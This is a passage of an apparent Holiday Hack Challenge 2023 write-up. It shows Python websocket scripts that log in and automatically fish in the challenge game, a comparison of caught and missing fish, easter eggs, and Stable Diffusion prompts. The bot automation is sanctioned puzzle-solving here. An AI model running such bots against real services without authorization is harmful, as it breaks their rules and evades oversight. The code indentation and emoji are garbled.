message_to_send = '{"type":"setSail"}'
print(f"Sent: {message_to_send}")
await websocket.send(message_to_send)
response = await websocket.recv()
print(f"Received: {response}")
if ('SET_SAIL' in response):
data = json.loads(response)
print(data['dockSlip'])
if ('PUSH_NAVIGATION' in response):
uri = "wss://2023.holidayhackchallenge.com/sail?dockSlip="+data['dockSlip'] # Replace with your WebSocket server URL
async with websockets.connect(uri) as websocket2:
print("Connected to fishing socket!")
message_to_send = "cast"
await websocket2.send(message_to_send)
while True:
message_to_send = '{"type":"heartbeat"}'
await websocket.send(message_to_send)
response = await websocket2.recv()
if ("onTheLine" in response):
data = json.loads(response[11:-1])
if (data['onTheLine']):
message_to_send="reel"
await websocket2.send(message_to_send)
fish_on_line = data['onTheLine']
print(f"Fish on the line: {fish_on_line}")
if ("fishing" and "canFish" and "onTheLine" in response):
data = json.loads(response[11:-1])
if not (data['fishing'] and data['canFish']):
message_to_send = "cast"
await websocket2.send(message_to_send)
#print(f"Sent: {message_to_send}")
if __name__ == "__main__":
username = input('Enter Username:\n')
password = getpass()
asyncio.get_event_loop().run_until_complete(connect_to_websocket(username,password))
Once connected the script above proceeds to cast the rod, and upon receiving a message mentioning a fish is onTheLine, it will reel it in and print the fish name. The process will continue indefinitely ensuring that both sockets remain active.
By logging into the game, moving the boat, and then running the script again, a large amount of fish can be caught by targeting the hot spots identified previously. The game also sends back a list called fishCaught noting already caught fish which makes identifying ones of interest easier (in this instance when Iโd reached 168 fish).
To compare already caught fish to the fish remaining, a script was devised with ChatGPT to get the names of all fish based on their mask files into a sorted array.
After retrieving this array a simple script was developed to compare 2 sets of data and determine what fish were still remaining.
list2 = set(['Aquatic JellyPuff Doughnut Shark', 'Bellychuckle Balloonfish', 'Biscuit Bugle-Tail Fish', 'Blibbering Blubberwing', 'Bubblegum Ballistic Barracuda', 'Bubblegum Blowfish Beetle Bug', 'Bubblegum Blowfish-Bee', 'Bubblegum Bumblefin', 'Bubblerooni WhiskerWaffle', 'BugBrella Aquacake', 'BumbleSquid Donutella', 'Bumblebee, Pizza-fin Jamboree', 'Bumbleberry Floatfish', 'Bumbleberry Gilled Glider', 'Bumbleberry Glitterfin', 'Bumbleberry Poptarticus', 'Bumbleberry Rainbow Flicorn Fish', 'Bumbleberry Snorkelsnout', 'Bumblecado Finstache Hybridsail', 'Bumblefin Toffee Torpedo', 'Candyfloss Clownphino', 'Caramelotus Humming Float', 'Choco-Bumblefin Parrot Trout', 'ChocoSeahorsefly', 'Chucklefin Clownfish', 'Confetti Clownfrippery Fish', 'Cuckoo Bubblegum Unicornfish', 'Dandy Candy Goby', 'Fantabulous Fry-Sherbert Aquapine', 'Fantabulous Rainbow Polka Poptartfish', 'Fantail Flutterfin', 'Fantaray Flakefin', 'Fantasia Fluffernutter Finfish', 'Fantastical Flapjack Flipperfin', 'Fantastical Fusilloni Flounderfish', 'Fizzgiggle Frizzlefin', 'FizzleWing PuffleGill', 'Flamango-Buzzling Sushi Swimmer', 'Flamingo Flapjack Finaticus', 'Flippity Flan Flopper', 'Fluffernutter Pufferpine', 'Fluffle-Muffin Sparklefin', 'Flutterfin Bubblegum Gumball', 'Flutterfin Cupcake Goby', 'Flutterfin Falafeluncher', 'Flutterfin Hotcheeto Penguinfish', 'Flutterfin Pancake Puffer.', 'Flutterfin Pizzacrust Glimmertail', 'Flutterfin Pizzapuffer', 'Flutterfin Rainbow-Roll', 'Flutterfin Scoopscale', 'Flutterglaze Bumblefin', 'Frizzle Fish', 'Frizzle Frazzle Fly-n-Fish', 'Frizzle Fringe Flutterfin', 'Frizzle-Frizzled Jambalaya Jellyfish', 'Frizzleberry Flapjack Fish', 'Frizzling Bubblehopper', 'Frosted Donut Jellyfluff Puffer', 'Frosted Jelly Doughnut Pegasus Finfish', 'Funfetti Flick-Flick', 'Gelatina Ringletfin', 'Gelatino Floatyfin', 'Glaze Meringuelle', 'Glittering Gummy Guppy', 'Glittering Gummy Whipray', 'Gumball Glooperfish', 'Gumball Guppygator', 'Gumbubble Guppy', 'Gummy Fizzler', 'Gummybrella Anemofin', 'Hatwearing Hippofish', 'Jamboree Jellofish', 'Jamboree Jellydonut Jellyfish Trout', 'Jamboree Jellywing', 'Jangleroo Snackfin', 'Jelly-Feather Macaroon Guppy', 'JellyChip CuddleSwimmer', 'Jester Gumball Pufferfish', 'JibberJelly Sundae Swimmer', 'Jingle JellyFroth Fish', 'Jinglefin Jellyfrizzle', 'Jolly Jambalaya Jubilee Fish', 'Jolly Jellydozer', 'Jolly Jellyjam Fish', 'Jolly Jellypeanut Fish', 'Jovian Jamboree Jellydonut Jellyfish', 'JubiliFLOPinear Snorkeldonut', 'Laughter Ligrolomia', 'Lounging Liquorice Crustacean-Nosed Berryfin', 'Marshmallow Pogo-Starfish', 'Marzipoisson Popsicala', 'Mermacorn Fish', 'Oreo OctoPufferRock', 'Piscis Cyberneticus Skodo', 'Pistachio Pizzafin Puffinfly', 'Pizzadillo Glitter-Guppy', 'Pizzafin Flutterbub', 'Pizzafly Rainbowgill', 'Pizzamarine Popcorn Puffer', 'Plaid Zephyr Cuddlefin', 'Polka-Pop CandyFloss Fish', 'Polkadot Pancake Puffer', 'Pudding Puff ParrotMoth Fish', 'Puzzletail Splashcake', 'Rainbow Gummy Scalefish', 'Rainbow Jelly-Bumble Shark', 'Rainbow Jelly-Dough Fish', 'Rhinoceros Beetle Bumble Tuna', 'Sherbet Swooshfin', 'Sparkleberry Gobblefin', 'Sparkling Gumbubble Piscadot', 'Sparkling Pizzafin Pixie-fish', 'Speckled Toastfin Snorkelback', 'Splashtastic Bagelback Rainbownose', 'Splendiferous Ribbontail', 'Spotted Sprinkledonut Puffer', 'Sprinkfish', 'Sprinkle Starfish Sardine', 'Stripe-tailed Pepperoni Puffer', 'Strudel Scuttle Scalefish', 'Sushinano Sweetsquid', 'The Bubblegum Bumblefin', 'The Bubblegum Confeetish', 'The Bumblebee Doughnut Delphin', 'The Bumblebelly Polkadot Glaze-fish', 'The Bumbleberry Guppiesaurus', 'The Burgerwing Seahorse', 'The Butterfleagleberry Seahorse', 'The ChocoChandelier Goldnipper', 'The Chocolate Star Gingo Guppy', 'The Fantabulous Gala Glazed-Guppy', 'The Fantastical Fizzbopper', 'The Flamboyant Flutter-fish', 'The Flamingotuna McSprinklefin', 'The Flutterfin Pastry Puffer', 'The Frambuzzle Flickerfin', 'The Gumball Guppy', 'The Hummingbrewster BumbleFlish', 'The Jester Jellycarafe', 'The Lucid Lollyscale', 'The Polka Dotted Jello-fish', 'The Polka-Dot Pudding Puff', 'The Polka-Dot-Propeller Puffling Fish', 'The Pristimaela Parfait Pengu-Angel', 'The Rainbow Jelibelly Floatfish', 'The Spangled Jelly-Tortle Ripplefin', 'The Speckled Pizzafin Fizzflyer', 'The Speckled Whisker-Spoon Puffer', 'The Splendiferous Spaghetti Seahorsicle', 'The Splendiferous Spaghetti Starfin', 'The Spotted Flutterfin Pastrytetra', 'The Whirling Donut Jellygator', 'The Whiskered Blubberberry Flapper', 'The Whiskered Melonfin', 'The Whiskered Watermelon Pufferfish', 'TruffleBugle ZephyrFish', 'Twinkling Tortellini Trouterfly', 'Twirly Finny Cakeling', 'Whirlygig Polka-Dotted Jelly-Donut Pufferfish', 'Whiskered Jumblefish', 'Whiskered Lollipop Loonfish', 'Whiskered Rainbow Glidleberry', 'Whiskered Sprinkle Glider', 'Whiskered Whizzler', 'Whiskerfroth Flutterfin', 'Whistlefin Wafflegill', 'Whizzbizzle Poptuckle'])
list1 = set(['Aquatic JellyPuff Doughnut Shark', 'Beatleberry Fluff Guppy', 'Bellychuckle Balloonfish', 'Biscuit Bugle-Tail Fish', 'Blibbering Blubberwing', 'Bubblegum Ballistic Barracuda', 'Bubblegum Blowfish Beetle Bug', 'Bubblegum Blowfish-Bee', 'Bubblegum Bumblefin', 'Bubblerooni WhiskerWaffle', 'BugBrella Aquacake', 'BumbleSquid Donutella', 'Bumblebee, Pizza-fin Jamboree', 'Bumbleberry Floatfish', 'Bumbleberry Gilled Glider', 'Bumbleberry Glitterfin', 'Bumbleberry Poptarticus', 'Bumbleberry Rainbow Flicorn Fish', 'Bumbleberry Snorkelsnout', 'Bumblecado Finstache Hybridsail', 'Bumblefin Toffee Torpedo', 'Candyfloss Clownphino', 'Caramelotus Humming Float', 'Choco-Bumblefin Parrot Trout', 'ChocoSeahorsefly', 'Chucklefin Clownfish', 'Confetti Clownfrippery Fish', 'Cuckoo Bubblegum Unicornfish', 'Dandy Candy Goby', 'Fantabulous Fry-Sherbert Aquapine', 'Fantabulous Rainbow Polka Poptartfish', 'Fantail Flutterfin', 'Fantaray Flakefin', 'Fantasia Fluffernutter Finfish', 'Fantastical Flapjack Flipperfin', 'Fantastical Fusilloni Flounderfish', 'Fizzgiggle Frizzlefin', 'FizzleWing PuffleGill', 'Flamango-Buzzling Sushi Swimmer', 'Flamingo Flapjack Finaticus', 'Flippity Flan Flopper', 'Fluffernutter Pufferpine', 'Fluffle-Muffin Sparklefin', 'Flutterfin Bubblegum Gumball', 'Flutterfin Cupcake Goby', 'Flutterfin Falafeluncher', 'Flutterfin Hotcheeto Penguinfish', 'Flutterfin Pancake Puffer.', 'Flutterfin Pizzacrust Glimmertail', 'Flutterfin Pizzapuffer', 'Flutterfin Rainbow-Roll', 'Flutterfin Scoopscale', 'Flutterglaze Bumblefin', 'Frizzle Fish', 'Frizzle Frazzle Fly-n-Fish', 'Frizzle Fringe Flutterfin', 'Frizzle-Frizzled Jambalaya Jellyfish', 'Frizzleberry Flapjack Fish', 'Frizzling Bubblehopper', 'Frosted Donut Jellyfluff Puffer', 'Frosted Jelly Doughnut Pegasus Finfish', 'Funfetti Flick-Flick', 'Gelatina Ringletfin', 'Gelatino Floatyfin', 'Glaze Meringuelle', 'Glittering Gummy Guppy', 'Glittering Gummy Whipray', 'Gumball Glooperfish', 'Gumball Guppygator', 'Gumbubble Guppy', 'Gummy Fizzler', 'Gummybrella Anemofin', 'Hatwearing Hippofish', 'Jamboree Jellofish', 'Jamboree Jellydonut Jellyfish Trout', 'Jamboree Jellywing', 'Jangleroo Snackfin', 'Jelly-Feather Macaroon Guppy', 'JellyChip CuddleSwimmer', 'Jester Gumball Pufferfish', 'Jester Jellyfin', 'JibberJelly Sundae Swimmer', 'Jingle JellyFroth Fish', 'Jinglefin Jellyfrizzle', 'Jolly Jambalaya Jubilee Fish', 'Jolly Jellydozer', 'Jolly Jellyjam Fish', 'Jolly Jellypeanut Fish', 'Jovian Jamboree Jellydonut Jellyfish', 'JubiliFLOPinear Snorkeldonut', 'Laughter Ligrolomia', 'Lounging Liquorice Crustacean-Nosed Berryfin', 'Marshmallow Pogo-Starfish', 'Marzipoisson Popsicala', 'Mermacorn Fish', 'Oreo OctoPufferRock', 'Piscis Cyberneticus Skodo', 'Pistachio Pizzafin Puffinfly', 'Pizzadillo Glitter-Guppy', 'Pizzafin Flutterbub', 'Pizzafly Rainbowgill', 'Pizzamarine Popcorn Puffer', 'Plaid Zephyr Cuddlefin', 'Polka-Pop CandyFloss Fish', 'Polkadot Pancake Puffer', 'Pudding Puff ParrotMoth Fish', 'Puzzletail Splashcake', 'Rainbow Gummy Scalefish', 'Rainbow Jelly-Bumble Shark', 'Rainbow Jelly-Dough Fish', 'Rhinoceros Beetle Bumble Tuna', 'Sherbet Swooshfin', 'Sparkleberry Gobblefin', 'Sparkling Gumbubble Piscadot', 'Sparkling Pizzafin Pixie-fish', 'Speckled Toastfin Snorkelback', 'Splashtastic Bagelback Rainbownose', 'Splendiferous Ribbontail', 'Spotted Sprinkledonut Puffer', 'Sprinkfish', 'Sprinkle Starfish Sardine', 'Stripe-tailed Pepperoni Puffer', 'Strudel Scuttle Scalefish', 'Sushinano Sweetsquid', 'The Bubblegum Bumblefin', 'The Bubblegum Confeetish', 'The Bumblebee Doughnut Delphin', 'The Bumblebelly Polkadot Glaze-fish', 'The Bumbleberry Guppiesaurus', 'The Burgerwing Seahorse', 'The Butterfleagleberry Seahorse', 'The ChocoChandelier Goldnipper', 'The Chocolate Star Gingo Guppy', 'The Fantabulous Gala Glazed-Guppy', 'The Fantastical Fizzbopper', 'The Flamboyant Flutter-fish', 'The Flamingotuna McSprinklefin', 'The Flutterfin Pastry Puffer', 'The Frambuzzle Flickerfin', 'The Gumball Guppy', 'The Hummingbrewster BumbleFlish', 'The Jester Jellycarafe', 'The Lucid Lollyscale', 'The Polka Dotted Jello-fish', 'The Polka-Dot Pudding Puff', 'The Polka-Dot-Propeller Puffling Fish', 'The Pristimaela Parfait Pengu-Angel', 'The Rainbow Jelibelly Floatfish', 'The Spangled Jelly-Tortle Ripplefin', 'The Speckled Pizzafin Fizzflyer', 'The Speckled Whisker-Spoon Puffer', 'The Splendiferous Spaghetti Seahorsicle', 'The Splendiferous Spaghetti Starfin', 'The Spotted Flutterfin Pastrytetra', 'The Whirling Donut Jellygator', 'The Whiskered Blubberberry Flapper', 'The Whiskered Melonfin', 'The Whiskered Watermelon Pufferfish', 'TruffleBugle ZephyrFish', 'Twinkling Tortellini Trouterfly', 'Twirly Finny Cakeling', 'Whirly Snuffleback Trout', 'Whirlygig Polka-Dotted Jelly-Donut Pufferfish', 'Whiskered Jumblefish', 'Whiskered Lollipop Loonfish', 'Whiskered Rainbow Glidleberry', 'Whiskered Sprinkle Glider', 'Whiskered Whizzler', 'Whiskerfroth Flutterfin', 'Whistlefin Wafflegill', 'Whizzbizzle Poptuckle'])
print(list1-list2)
This resulted in 3 fish of interest.
root@mintsec:~/Desktop/Kringlecon2023# python3 ./comparing.py
{'Beatleberry Fluff Guppy', 'Jester Jellyfin', 'Whirly Snuffleback Trout'}
Refining the script slightly to account for this, only once the fish of interest were caught would they be displayed. This made leaving the script idle an easy way to catch the required fish.
import asyncio
import requests
import websockets
import json
import re
import sys
from getpass import getpass
async def connect_to_websocket(username,password):
uri = "wss://2023.holidayhackchallenge.com/ws" # Replace with your WebSocket server URL
async with websockets.connect(uri) as websocket:
print(f"Connected to {uri}")
# Sending a message to the server
message_to_send = '{"type":"WS_LOGIN","usernameOrEmail":'+'\"'+username+'\","password":\"'+password+'\"}'
await websocket.send(message_to_send)
response = await websocket.recv()
print(f"Received: {response}")
while True:
message_to_send = '{"type":"heartbeat"}'
await websocket.send(message_to_send)
print(f"Sent: {message_to_send}")
response = await websocket.recv()
print(f"Received: {response}")
if ('WS_OHHIMARK' in response):
message_to_send = '{"type":"setSail"}'
print(f"Sent: {message_to_send}")
await websocket.send(message_to_send)
response = await websocket.recv()
print(f"Received: {response}")
if ('SET_SAIL' in response):
data = json.loads(response)
print(data['dockSlip'])
if ('PUSH_NAVIGATION' in response):
uri = "wss://2023.holidayhackchallenge.com/sail?dockSlip="+data['dockSlip'] # Replace with your WebSocket server URL
async with websockets.connect(uri) as websocket2:
message_to_send = "cast"
await websocket2.send(message_to_send)
#print(f"Sent: {message_to_send}")
fish_list = ['Beatleberry Fluff Guppy', 'Jester Jellyfin', 'Whirly Snuffleback Trout']
while True:
response = await websocket2.recv()
if ("onTheLine" in response):
data = json.loads(response[11:-1])
length = len(data['fishCaught'])
#for item in data['fishCaught']:
# fish_list.append(item['name'])
#print(sorted(set(fish_list)))
#print(f"Caught Fish: {length}")
if (data['onTheLine']):
fish_on_line = data['onTheLine']
if fish_on_line in fish_list:
print(f"Fish on the line: {fish_on_line}")
message_to_send="reel"
await websocket2.send(message_to_send)
#print(f"Sent: {message_to_send}")
if ("fishing" and "canFish" and "onTheLine" in response):
data = json.loads(response[11:-1])
if not (data['fishing'] and data['canFish']):
message_to_send = "cast"
await websocket2.send(message_to_send)
#print(f"Sent: {message_to_send}")
if __name__ == "__main__":
username = input('Enter Username:\n')
password = getpass()
asyncio.get_event_loop().run_until_complete(connect_to_websocket(username,password))
Returning to Poinsettia McMittens completes the final mission.
This also results in a beautiful Pescadex where all fish have been caught.
โ Secrets and ๐ฅ Easter Eggs/References
๐ Jason is a fish
Along the beach of Coggoggle Marina on Steampunk Island a fish can be found on the beach. This is in fact Jason this year, soaking up the sun!
๐ฎ Gotta catch emโ all
Throughout the bonus fishing mission is reference to a Pescadex. This is a play on words to the famous Pokรฉdex which keeps track of species of Pokรฉmon in the famous video game and tv series Pokรฉmon.
๐ฎ The Titanic
Within Geese Islands is a number of advertisements which come up in-game, one of which has the name rek.jpg shown below. This is titled GEESE ISANDS IN THE PACIFIC, and appears to be paying homage to the wreck of the Titanic which sunk in the Pacific ocean.
๐ญ Space Telescope
At Cape Cosmic Inside Fence on Space Island is a telescope that can be interacted with.
Zooming in enough you can see Jack Frostโs satellite in the sky before completing Camera Access.
Upon completing Camera Access the telescope now shows Jack Frost looking out the window.
This is then gone upon completing Diversion and seeing Jack crash back down to Earth.
๐ค AI Generated Artwork
As a bit of fun we can leverage Stable Diffusion and a ML model such as DreamShaper to envision Jack Frost, Santa, his elves, and some of the various other inhabitants of Geese Islands in a totally new way.
Santa
Jack Frost
Jingle Ringford
Goose of Christmas Island
Morcel Nougat
Ginger Breddie and Bow Ninecandle (Yes theyโre identical!)
Elf the Dwarf
Chimney Scissorsticks
Henry
Prompt:
Smiling chibi green cute boy elf who is wearing orange clothes. cute elf is holding a tool. 4k, HD, realistic lighting, cute starlike anime eyes, green skin
Negative prompt: mutant, belt, stick, leaf, pink, girl, knife, beanie, white, long hair, sideburn, outline, blue
Steps: 31, Sampler: Euler a, CFG scale: 7.5, Seed: 2141567154, Size: 512x512, Model hash: 75d978ea, Denoising strength: 0.73, Mask blur: 4
Wombley Cube
Prompt:
Frowning matte green alien male elf with no hair except a very short white beard who is wearing white clothes and long pink pants. Elf has a purple beanie. 4k, HD, green lighting, eyes, purple belt.
Negative prompt: sword, lady, mutant
Steps: 30, Sampler: Euler a, CFG scale: 7.5, Seed: 2141567154, Size: 512x512, Model hash: 75d978ea, Denoising strength: 0.73, Mask blur: 4
Alabaster Snowball
Prompt:
christmas matte purple alien male with round glasses and no hair except a very short white beard who is wearing green clothes and green pants. male has a green beanie. 4k, HD, green lighting, eyes. green pants
Negative prompt: sword, lady, mutant, blue pants, button, trousers
Steps: 30, Sampler: Euler a, CFG scale: 7.5, Seed: 2141567154, Size: 512x512, Model hash: 75d978ea, Denoising strength: 0.73, Mask blur: 4
๐ Final Notes
Iโd like to close by giving my thanks to this yearโs speakers, HHC Team, challenge developers, and other members of the concierge team, in addition to giving my congratulations to those who made it through the challenges presented this year.





























































































































































































































































